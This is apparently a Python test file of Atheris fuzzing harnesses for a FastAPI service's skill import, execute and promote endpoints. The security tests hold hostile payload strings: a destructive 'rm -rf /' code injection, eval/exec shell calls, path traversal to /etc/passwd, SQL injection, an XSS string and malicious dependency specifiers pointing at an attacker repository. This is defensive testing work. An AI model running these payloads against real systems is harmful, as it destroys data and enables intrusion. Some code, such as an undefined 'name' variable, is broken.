""" Skill installation fuzzing harness for FastAPI endpoints. This module uses Atheris to fuzz skill import, execute, and promote endpoints to discover crashes, security vulnerabilities, and edge cases. Coverage: - POST /api/skills/import - Import community skill - POST /api/skills/execute - Execute skill - POST /api/skills/promote - Promote skill to Active status - Security-focused fuzzing: code injection, typosquatting, path traversal - YAML parsing fuzzing: malformed frontmatter, huge documents """ import os import sys # Add backend to path backend_dir = os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) if backend_dir not in sys.path: sys.path.insert(0, backend_dir) import pytest from fastapi.testclient import TestClient from sqlalchemy.orm import Session # Import fixtures from tests.fuzzing.conftest import ATHERIS_AVAILABLE from tests.e2e_ui.fixtures.database_fixtures import db_session from tests.e2e_ui.fixtures.auth_fixtures import authenticated_user, test_user from main_api_app import app from core.database import get_db # Try to import Atheris try: import atheris from atheris import fp ATHERIS_AVAILABLE = True except ImportError: ATHERIS_AVAILABLE = False # ============================================================================ # TEST SKILL IMPORT FUZZING # ============================================================================ @pytest.mark.fuzzing @pytest.mark.slow @pytest.mark.timeout(300) def test_skill_import_fuzzing(db_session: Session, authenticated_user): """ Fuzz skill import endpoint (POST /api/skills/import). PROPERTY: Skill import endpoint should not crash on malformed input STRATEGY: Use FuzzedDataProvider to generate random skill content and metadata INVARIANT: Response status code always in [200, 400, 401, 422] (no 500 errors) RADII: 10000 iterations provides coverage of: - Various import sources (github_url, file_upload, raw_content, invalid) - Malformed SKILL.md content (0-10000 chars) - SQL injection in metadata fields - XSS payloads in skill descriptions Args: db_session: Database session with transaction rollback authenticated_user: (user, token) tuple for JWT auth """ if not ATHERIS_AVAILABLE: pytest.skip("Atheris not installed") user, token = authenticated_user app.dependency_overrides[get_db] = lambda: db_session client = TestClient(app) headers = {"Authorization": f"Bearer {token}"} def fuzz_one_input(data: bytes): """Fuzz skill import endpoint with random input.""" try: fdp = fp.FuzzedDataProvider(data) # Fuzz source (github_url, file_upload, raw_content, invalid values) source_type = fdp.ConsumeIntInRange(0, 3) if source_type == 0: source = "github_url" elif source_type == 1: source = "file_upload" elif source_type == 2: source = "raw_content" else: source = fdp.ConsumeRandomLengthString(50) # Invalid source # Fuzz content (0-10000 chars, SKILL.md format, None, empty) content = fdp.ConsumeRandomLengthString(10000) # Fuzz metadata dict (0-10 keys, SQL injection, XSS) num_keys = fdp.ConsumeIntInRange(0, 10) metadata = {} for i in range(num_keys): key = fdp.ConsumeRandomLengthString(50) value = fdp.ConsumeRandomLengthString(100) metadata[key] = value payload = { "source": source, "content": content if content else None, "metadata": metadata if metadata else None } # Call POST /api/skills/import response = client.post("/api/skills/import", json=payload, headers=headers) # Assert status in [200, 400, 401, 422] assert response.status_code in [200, 400, 401, 422], \ f"Unexpected status {response.status_code}: {response.text[:200]}" except Exception as e: if "validation" not in str(e).lower() and "422" not in str(e): raise atheris.Setup(sys.argv, [fuzz_one_input]) atheris.Fuzz() # ============================================================================ # TEST SKILL EXECUTE FUZZING # ============================================================================ @pytest.mark.fuzzing @pytest.mark.slow @pytest.mark.timeout(300) def test_skill_execute_fuzzing(db_session: Session, authenticated_user): """ Fuzz skill execute endpoint (POST /api/skills/execute). PROPERTY: Skill execute endpoint should not crash on malformed input STRATEGY: Use FuzzedDataProvider to generate random skill IDs and inputs INVARIANT: Response status code always in [200, 400, 404, 422] (no 500 errors) RADII: 10000 iterations provides coverage of: - Invalid skill_id formats (None, empty, huge strings) - Code injection in inputs dict - Huge input values (DoS protection) - Invalid agent_id formats Args: db_session: Database session with transaction rollback authenticated_user: (user, token) tuple for JWT auth """ if not ATHERIS_AVAILABLE: pytest.skip("Atheris not installed") user, token = authenticated_user app.dependency_overrides[get_db] = lambda: db_session client = TestClient(app) headers = {"Authorization": f"Bearer {token}"} def fuzz_one_input(data: bytes): """Fuzz skill execute endpoint with random input.""" try: fdp = fp.FuzzedDataProvider(data) # Fuzz skill_id (50 chars, None, empty) skill_id = fdp.ConsumeRandomLengthString(50) # Fuzz inputs dict (0-20 keys, code injection, huge values) num_keys = fdp.ConsumeIntInRange(0, 20) inputs = {} for i in range(num_keys): key = fdp.ConsumeRandomLengthString(50) value_type = fdp.ConsumeIntInRange(0, 3) if value_type == 0: # Code injection payloads value = fdp.ConsumeRandomLengthString(1000) elif value_type == 1: # Huge value (DoS test) value = fdp.ConsumeRandomLengthString(10000) elif value_type == 2: value = fdp.ConsumeIntInRange(-1000000, 1000000) else: value = None inputs[key] = value # Fuzz agent_id (50 chars, None, empty) agent_id = fdp.ConsumeRandomLengthString(50) payload = { "skill_id": skill_id if skill_id else None, "inputs": inputs, "agent_id": agent_id if agent_id else None } # Call POST /api/skills/execute response = client.post("/api/skills/execute", json=payload, headers=headers) # Assert status in [200, 400, 404, 422] assert response.status_code in [200, 400, 404, 422], \ f"Unexpected status {response.status_code}: {response.text[:200]}" except Exception as e: if "validation" not in str(e).lower() and "422" not in str(e): raise atheris.Setup(sys.argv, [fuzz_one_input]) atheris.Fuzz() # ============================================================================ # TEST SKILL PROMOTE FUZZING # ============================================================================ @pytest.mark.fuzzing @pytest.mark.slow @pytest.mark.timeout(300) def test_skill_promote_fuzzing(db_session: Session, authenticated_user): """ Fuzz skill promote endpoint (POST /api/skills/promote). PROPERTY: Skill promote endpoint should not crash on malformed input STRATEGY: Use FuzzedDataProvider to generate random skill IDs INVARIANT: Response status code always in [200, 400, 404, 409] (no 500 errors) RADII: 10000 iterations provides coverage of: - Invalid skill_id formats - Promotion from Untrusted -> Active status - Duplicate promotion attempts (409 conflict) Args: db_session: Database session with transaction rollback authenticated_user: (user, token) tuple for JWT auth """ if not ATHERIS_AVAILABLE: pytest.skip("Atheris not installed") user, token = authenticated_user app.dependency_overrides[get_db] = lambda: db_session client = TestClient(app) headers = {"Authorization": f"Bearer {token}"} def fuzz_one_input(data: bytes): """Fuzz skill promote endpoint with random input.""" try: fdp = fp.FuzzedDataProvider(data) # Fuzz skill_id (50 chars, None, empty) skill_id = fdp.ConsumeRandomLengthString(50) payload = { "skill_id": skill_id if skill_id else None } # Call POST /api/skills/promote response = client.post("/api/skills/promote", json=payload, headers=headers) # Assert status in [200, 400, 404, 409] assert response.status_code in [200, 400, 404, 409], \ f"Unexpected status {response.status_code}: {response.text[:200]}" except Exception as e: if "validation" not in str(e).lower() and "422" not in str(e): raise atheris.Setup(sys.argv, [fuzz_one_input]) atheris.Fuzz() # ============================================================================ # TEST SKILL CONTENT SECURITY FUZZING # ============================================================================ @pytest.mark.fuzzing @pytest.mark.slow @pytest.mark.timeout(300) def test_skill_content_security_fuzz(db_session: Session, authenticated_user): """ Fuzz skill content with malicious payloads (security-focused fuzzing). PROPERTY: Skill import endpoint should not crash on malicious payloads STRATEGY: Test known attack patterns from Phase 237 bug discovery INVARIANT: Response status code always in [200, 400, 401, 422] (no 500 errors) RADII: 10000 iterations provides coverage of: - Code injection: "__import__('os').system('rm -rf /')" - Typosquatting: "requests" vs "requets", "numpy" vs "numpyy" - Path traversal: "../../../etc/passwd" - Null bytes: "skill\x00name" - Metadata injection: author, tags with malicious content Args: db_session: Database session with transaction rollback authenticated_user: (user, token) tuple for JWT auth """ if not ATHERIS_AVAILABLE: pytest.skip("Atheris not installed") user, token = authenticated_user app.dependency_overrides[get_db] = lambda: db_session client = TestClient(app) headers = {"Authorization": f"Bearer {token}"} # Malicious payloads from Phase 237 malicious_payloads = [ # Code injection "__import__('os').system('rm -rf /')", "eval('__import__(\"os\").system(\"id\")')", "exec(\"import os; os.system('pwd')\")", # Typosquatting "requets", # vs "requests" "numpyy", # vs "numpy" "panndas", # vs "pandas" "flaskk", # vs "flask" # Path traversal "../../../etc/passwd", "..\\..\\..\\windows\\system32", "/proc/self/environ", # Null bytes "skill\x00name", "author\x00injection", # SQL injection "'; DROP TABLE skills; --", "' OR '1'='1", "'; INSERT INTO skills VALUES (...); --", # XSS "", "", "javascript:alert('XSS')", ] def fuzz_one_input(data: bytes): """Fuzz skill content with malicious payloads.""" try: fdp = fp.FuzzedDataProvider(data) # Select malicious payload payload_idx = fdp.ConsumeIntInRange(0, len(malicious_payloads) - 1) malicious_content = malicious_payloads[payload_idx] # Fuzz where to inject payload injection_type = fdp.ConsumeIntInRange(0, 3) if injection_type == 0: # Inject in skill name content = f"# SKILL.md\nname: {malicious_content}\ndescription: Test skill" elif injection_type == 1: # Inject in content content = f"# SKILL.md\nname: test\ncontent: {malicious_content}" elif injection_type == 2: # Inject in metadata content = "# SKILL.md\nname: test\n" metadata = {"author": malicious_content, "tags": [malicious_content]} else: # Full payload as content content = malicious_content # Prepare payload payload = { "source": "raw_content", "content": content, "metadata": metadata if injection_type == 2 else None } # Call POST /api/skills/import response = client.post("/api/skills/import", json=payload, headers=headers) # Assert no crashes (validation errors OK) assert response.status_code in [200, 400, 401, 422], \ f"Unexpected status {response.status_code}: {response.text[:200]}" except Exception as e: if "validation" not in str(e).lower() and "422" not in str(e): raise atheris.Setup(sys.argv, [fuzz_one_input]) atheris.Fuzz() # ============================================================================ # TEST SKILL YAML PARSING FUZZING # ============================================================================ @pytest.mark.fuzzing @pytest.mark.slow @pytest.mark.timeout(300) def test_skill_yaml_parsing_fuzz(db_session: Session, authenticated_user): """ Fuzz YAML frontmatter parsing in SKILL.md files. PROPERTY: YAML parser should not crash on malformed YAML STRATEGY: Use FuzzedDataProvider to generate random YAML content INVARIANT: Response status code always in [200, 400, 422] (no 500 errors) RADII: 10000 iterations provides coverage of: - Malformed YAML syntax (unclosed brackets, invalid indentation) - Huge YAML documents (DoS protection) - Cyclical references in YAML - Missing required fields - Invalid data types Args: db_session: Database session with transaction rollback authenticated_user: (user, token) tuple for JWT auth """ if not ATHERIS_AVAILABLE: pytest.skip("Atheris not installed") user, token = authenticated_user app.dependency_overrides[get_db] = lambda: db_session client = TestClient(app) headers = {"Authorization": f"Bearer {token}"} def fuzz_one_input(data: bytes): """Fuzz YAML parsing with random input.""" try: fdp = fp.FuzzedDataProvider(data) # Fuzz YAML content (0-5000 chars) yaml_content = fdp.ConsumeRandomLengthString(5000) # Construct SKILL.md with YAML frontmatter skill_content = f"""--- name: {name} description: {fdp.ConsumeRandomLengthString(200)} author: {fdp.ConsumeRandomLengthString(50)} version: {fdp.ConsumeRandomLengthString(20)} --- ## Skill Content {fdp.ConsumeRandomLengthString(1000)} """ payload = { "source": "raw_content", "content": skill_content, "metadata": None } # Call POST /api/skills/import response = client.post("/api/skills/import", json=payload, headers=headers) # Assert no crashes (parsing errors OK) assert response.status_code in [200, 400, 422], \ f"Unexpected status {response.status_code}: {response.text[:200]}" except Exception as e: if "yaml" not in str(e).lower() and "validation" not in str(e).lower(): raise atheris.Setup(sys.argv, [fuzz_one_input]) atheris.Fuzz() # ============================================================================ # TEST SKILL DEPENDENCY INJECTION FUZZING # ============================================================================ @pytest.mark.fuzzing @pytest.mark.slow @pytest.mark.timeout(300) def test_skill_dependency_injection_fuzz(db_session: Session, authenticated_user): """ Fuzz skill dependency injection in requirements.txt. PROPERTY: Skill installer should not crash on malicious dependencies STRATEGY: Test malicious packages in requirements.txt INVARIANT: Response status code always in [200, 400, 422] (no 500 errors) RADII: 10000 iterations provides coverage of: - Typosquatting packages (requets vs requests) - Malicious package names (rm -rf, ../etc/passwd) - Conflicting dependencies - Huge dependency lists - Invalid version specifiers Args: db_session: Database session with transaction rollback authenticated_user: (user, token) tuple for JWT auth """ if not ATHERIS_AVAILABLE: pytest.skip("Atheris not installed") user, token = authenticated_user app.dependency_overrides[get_db] = lambda: db_session client = TestClient(app) headers = {"Authorization": f"Bearer {token}"} # Malicious dependency patterns malicious_deps = [ "requets", # Typosquatting "numpyy", # Typosquatting "../../../etc/passwd", # Path traversal "rm -rf", # Command injection "package==../..", # Path traversal "package @ file:///etc/passwd", # Local file "package @ git+git://github.com/attacker/repo.git#egg=package", # Git URL "-e ../../..", # Editable install with path traversal "package==999.999.999", # Invalid version ] def fuzz_one_input(data: bytes): """Fuzz dependency injection with random input.""" try: fdp = fp.FuzzedDataProvider(data) # Generate requirements.txt content num_deps = fdp.ConsumeIntInRange(0, 10) requirements = [] for i in range(num_deps): # Mix of legitimate and malicious dependencies if fdp.ConsumeBool(): # Malicious dependency dep_idx = fdp.ConsumeIntInRange(0, len(malicious_deps) - 1) dep = malicious_deps[dep_idx] else: # Random dependency dep = fdp.ConsumeRandomLengthString(100) requirements.append(dep) # Construct SKILL.md with dependencies requirements_str = "\n".join(requirements) skill_content = f"""--- name: test-skill description: Test skill with dependencies dependencies: | {requirements_str} --- ## Skill Content Test content """ payload = { "source": "raw_content", "content": skill_content, "metadata": None } # Call POST /api/skills/import response = client.post("/api/skills/import", json=payload, headers=headers) # Assert no crashes (validation errors OK) assert response.status_code in [200, 400, 422], \ f"Unexpected status {response.status_code}: {response.text[:200]}" except Exception as e: if "validation" not in str(e).lower() and "422" not in str(e): raise atheris.Setup(sys.argv, [fuzz_one_input]) atheris.Fuzz()